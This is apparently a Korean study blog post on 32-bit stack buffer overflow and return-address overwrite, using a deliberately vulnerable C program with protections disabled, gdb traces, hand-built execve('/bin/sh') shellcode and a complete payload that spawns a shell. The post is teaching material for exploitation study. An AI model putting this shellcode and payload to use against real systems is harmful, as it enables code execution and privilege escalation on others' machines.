1. RET Overwrite Exploitation
Stack buffer overflow 취약점을 이용해서 공격하는 방법이다.
이 취약점의 경우 주로 stack의 return address를 덮는 공격을 사용한다.
Return address : 함수가 종료하고 돌아갈 이전 함수의 주소이다.
Return address를 함수 종료 후 공격자가 실행하고자 하는 코드의 주소로 덮어서 실행의 흐름을 조작한다.
2. stack buffer overflow
// gcc -o example1 example1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32
#include <stdio.h>
int vuln(char *src) {
char buf[32] = {};
strcpy(buf, src);
return 0;
}
int main(int argc, char *argv[], char *environ[]) {
if (argc < 2){
exit(-1);
}
vuln(argv[1]);
return 0;
}
main함수
- 인자를 입력하지 않으면 종료한다. (인자를 1개 이상 줘야한다.)
- 입력받은 인자(argv[1])를 vuln함수의 src가 가리키도록 한다.
(argv[0]은 실행파일 이름이 저장되어 있으므로 인자는 argv[1]부터 저장된다.)
vuln 함수
- strcpy 함수로 buf 변수에 src 내용을 복사한다.
strcpy 함수는 buf의 크기가 32이어도 그 크기에 상관없이, 즉 src의 길이 검증 없이 복사해준다.
따라서 buf 배열의 크기보다 긴 문자열을 넣을 경우 stack buffer overflow 취약점이 발생한다.
(buffer 크기를 넘어 SFP, return address까지 변조할 수 있다.)
vuln 함수의 메모리 구조는 다음과 같다.
Low High
| buf(32) | SFP(Stack Frame Pointer) | RET(RETurn address) | char * src |
x86 아키텍쳐 호출 규약에 의해 vuln 함수가 호출될 경우 vuln 함수의 인자 src 문자열 포인터가 stack에 먼저 쌓이고 vuln 함수의 return address 주소가 쌓인다.
함수 프롤로그에서 ebp 레지스터를 SFP에 저장한 후 지역변수의 buf 배열의 공간을 할당해준다.
디버깅 시 vuln 함수에서 breakpoint를 잡고 인자와 함께 r 명령어로 실행한다.
bp에서 스택 메모리를 확인해보면 esp 레지스터를 x/2wx $esp로 확인 시 첫 4바이트에 vuln함수의 return address(vuln함수 리턴 후 main함수에서 다음으로 실행할 코드 주소)가 저장되어 있는 것을 확인할 수 있고,
그 다음 4바이트에는 vuln함수의 인자 src가 가리키는 주소인 argv[1]의 주소가 들어있음을 알 수 있다.
0x08048460 <+37>: push DWORD PTR [ebp+0x8]
0x08048463 <+40>: lea eax,[ebp-0x20]
0x08048466 <+43>: push eax
0x08048467 <+44>: call 0x8048300
vuln함수에서 strcpy(buf, src) 과정을 확인해보자.
먼저 src 인자를 넣기 위해 ebp+0x8에서, 즉 SFP+0x8에는 src 인자가 있으므로 이 포인터를 인자로 가져온다.
그 후 ebp-0x20, 즉 ebp 레지스터로부터 0x20 앞에 있는 buf 배열의 주소를 가져와서 eax 레지스터에 넣고, 이 eax 레지스터도 strcpy 함수의 인자로 넣는다.
마지막으로 strcpy함수를 호출한다.
따라서 strcpy 함수 실행되기 전인 vuln 함수에서 strcpy 함수 호출 코드에서 breakpoint를 설정하고
c로 스택을 x/2wx $esp로 인자를 확인해보면,
첫 4바이트에는 buf 주소가, 두 번째 4바이트에는 src 포인터가 가리키는 주소인 argv[1] 주소가 들어있음을 확인할 수 있다.
(스택은 먼저 들어온 것 위로 쌓이므로 buf가 Low에 위치하고 argv[1] 주소가 High에 위치한다.)
ni로 strcpy함수를 실행해보면 strcpy 함수의 첫 번째 인자에 argv[1] 문자열이 복사된다.
Buf 크기 32 바이트보다 긴 길이를 복사한 경우, vuln함수의 return address 저장된 주소를 덮고 그 너머까지 argv[1] 문자열을 복사할 수 있다.
그렇다면 이러한 방법을 이용해서 Example1 실행파일을 공격해보자.
일반적으로 python 파일에 pwntools를 이용해서 공격코드, 즉 exploit code를 작성한다.
이 작성한 코드를 공격대상 실행파일을 대상으로 실행시키면 쉘을 따는 등의 원하는 작업을 수행할 수 있다.
Exploit code:
payload = "aaaabbbbccccddddeeeeffffgggghhhhiiiijjjj"
print payload
3. RET Overwrite
x86 아키텍쳐에서의 ret 명령어 : esp 레지스터가 가리키고 있는 주소에 저장된 값으로 점프하는 명령어이다.
pop eip
jmp eip
함수 종료 후 이전에 실행하고 있던 함수에서 다음에 실행할 코드 주소로 돌아가서 나머지를 실행한다. 이때 RET, 즉 return address는 복귀주소를 기억하고 있다가 그 주소로 점프하는 것이다.
(gdb) x/i 0x8048475
0x8048475 <vuln+58>: ret
(gdb) b*0x8048475
Breakpoint 3 at 0x8048475
(gdb) c
Continuing.
vuln 함수의 ret 명령어 코드 지점에 breakpoint를 잡아보자.
아까 return address 값을 0x6a6a6a6a로 변조했었다.
Breakpoint 3, 0x08048475 in vuln ()
(gdb) x/wx $esp
0xffffd520: 0x6a6a6a6a
그래서 vuln 함수의 esp 레지스터는 return address에 들어있는 주소값을 가리키고 있고, 그 값은 0x6a6a6a6a인 것이다.
(gdb) x/i $eip
=> 0x8048475 <vuln+58>: ret
(gdb) si
0x6a6a6a6a in ?? ()
(gdb) print $eip
$1 = (void (*)()) 0x6a6a6a6a
ret 명령어 실행 시 eip 레지스터는 0x6a6a6a6a를 가리키게 되고, 이 곳으로 점프한다.
실행의 흐름이 조작된 것을 확인할 수 있다.
만약 0x6a6a6a6a가 아닌 원하는 주소로 return address를 설정해놓았다면, ret 명령어 수행 시 eip에 해당 주소값이 저장되고 그 주소값으로 점프할 수 있게된다.
Linux exploitation에서 최종 목표는 /bin/sh 또는 쉘 바이너리를 실행함으로써 쉘을 따내는 것이다.
프로그램 실행의 흐름을 조작함으로써 권한 상승 혹은 프로그램이 의도치 않은 행위, 예를들면 특정 명령어 실행하는 행위를 하는 것이 목적이다.
4. Shellcode
최종적으로 공격자는 프로그램 실행의 흐름을 조작해 쉘코드를 실행해서 원하는 명령어를 실행하는 것이 목표이다.
리눅스에서는 /bin/sh 바이너리를 실행시키기 위해 execve 시스템 콜을 사용한다.
execve 시스템 콜은 Sys_execve(&”/bin/sh”, NULL, NULL) 인자 형태를 가진다.
execve를 시스템 콜로서 호출하기 위해서는 execve의 syscall id로 불러야 한다.
x86 아키텍쳐에서 execve의 syscall id는 0x0b(11)이다. (eax 레지스터의 값으로 넣는다.)
execve를 syscall id로 호출한 후, execve의 인자를 구성해준다.
ebx 레지스터 값으로 execve의 첫 번째 인자인 pathname을 넣어주는데 실행시키고자 하는 바이너리 경로이다. 따라서 “/bin/sh”의 주소를 넣는다.
ecx 레지스터 값으로는 execve의 두 번째 인자인 argv[](프로그램 인자 포인터 배열)를 넣는데 NULL이므로 0 값을 넣는다. 마지막으로 edx 레지스터 값으로 excve의 세 번째 인자인 envp[](프로그램의 환경변수 포인터 배열)도 NULL 값으로 0을 넣는다.
이렇게 인자를 구성하고 마지막으로 int 0x80; ret 명령어로 syscall을 해주면 execve 시스템 콜을 실행할 수 있다.
sys_execve(“/bin/sh” 주소, NULL, NULL) 호출하는 기계어 코드를 만들고 sys_execve(“/bin/sh” 주소, NULL, NULL)을 실행하는 어셈블리 코드를 만든 후 이 어셈코드를 기계어 코드로 바꾼다.
최종적으로 만들어진 기계어 코드는 x86 아키텍쳐에서 /bin/sh 바이너리를 실행시킬 수 있는 기능을 하는 쉘코드이다.
# shellcode.asm : 어셈블리 코드
section .text
global _start
_start
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
# shellcode.o : 어셈블리 코드를 기계어 코드로 변환한다.
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
# shellcode.bin : 기계어 코드
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$
최종적인 쉘코드 형태는 다음과 같다.
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80
이렇게 쉘코드를 필요할 때마다 만들지 않아도 위의 쉘코드나 다른 형태의 쉘코드가 있으면 상황에 따라 필요한 쉘코드를 사용할 수 있다.
5. RET Overwrite Exploitation
그렇다면 쉘코드를 사용해서 return address에 쉘코드가 담긴 주소를 넣어 실행의 흐름을 조작해보자.
Argv[1]에 쉘코드를 전달하면 vuln 함수에서 이 argv[1]에 담긴 쉘코드는 그대로 buf 배열에 복사된다.
따라서 스택 구조는 다음과 같아진다.
| Shellcode(23) | ‘A’*13 | return address |
‘A’*13은 buf 배열 크기 32에서 남은 9바이트에 SFP 4바이트를 더한 더미이고, return address에는 shellcode가 들어있는 buf 배열의 주소값을 넣어주면 된다.
(gdb) b *0x8048467
Breakpoint 1 at 0x8048467
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: ~/example1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048467 in vuln ()
(gdb) x/2wx $esp
0xffffd4f4: 0xffffd4fc 0xffffd752
(gdb)
strcpy 함수의 첫 번째 인자는 디버깅 시 확인해보면 0xffffd4fc이다.
이는 strcpy 함수가 호출된 후 쉘코드가 들어가는 주소이다.
따라서 return address에는 이 0xffffd4fc 주소값을 넣어주면 된다.
payload = shellcode + 'A'*13 + "\xfc\xd4\xff\xff"
$ gdb -q ./example1
Reading symbols from ./example1...(no debugging symbols found)...done.
(gdb) r python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"+"A"*13+"\xfc\xd4\xff\xff"'
Starting program: ~/example1 python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"+"A"*13+"\xfc\xd4\xff\xff"'
process 88433 is executing new program: /bin/dash
$ id
위의 payload 공격코드를 argv[1]에 넣어서 프로그램을 실행시키면 쉘이 실행되는 것을 확인할 수 있다.
하지만 쉘 상에서 이 공격코드를 실행해서 공격하면 쉘 따기에 실패한다.
그 이유는 프로그램을 다른 환경에서 실행시킬 때 지역변수의 주소가 스택 끝에 존재하는 프로그램의 인자와 환경변수에 따라 변하기 때문이다.
| main 함수의 스택 프레임 | 프로그램 인자(argv) | 환경변수 (environ) |
지역변수의 주소가 프로그램마다 다른 이유는 실행파일의 경로인 argv[0] 문자열이 절대경로와 상대경로가 달라서이다.
gdb는 실행파일의 경로를 argv[0]에 저장하지만 쉘은 사용자가 입력한 경로가 argv[0]에 저장된다.
다음 Back to Basic에서 이 문제점을 해결할 방법을 공부해보자.
공부 자료 : Dreamhack
Master canary (0) | 2020.06.08 |
---|---|
Stack Frame & 함수 호출 규약 (32bit, 64bit) (0) | 2020.05.30 |
[Exploit Tech] Return to dl resolve (0) | 2020.02.21 |
[Heap Exploitation] Poison null byte(Shrink chunk) (0) | 2020.01.30 |
[Heap Exploitation] Overlapping Chunks 2 (0) | 2020.01.26 |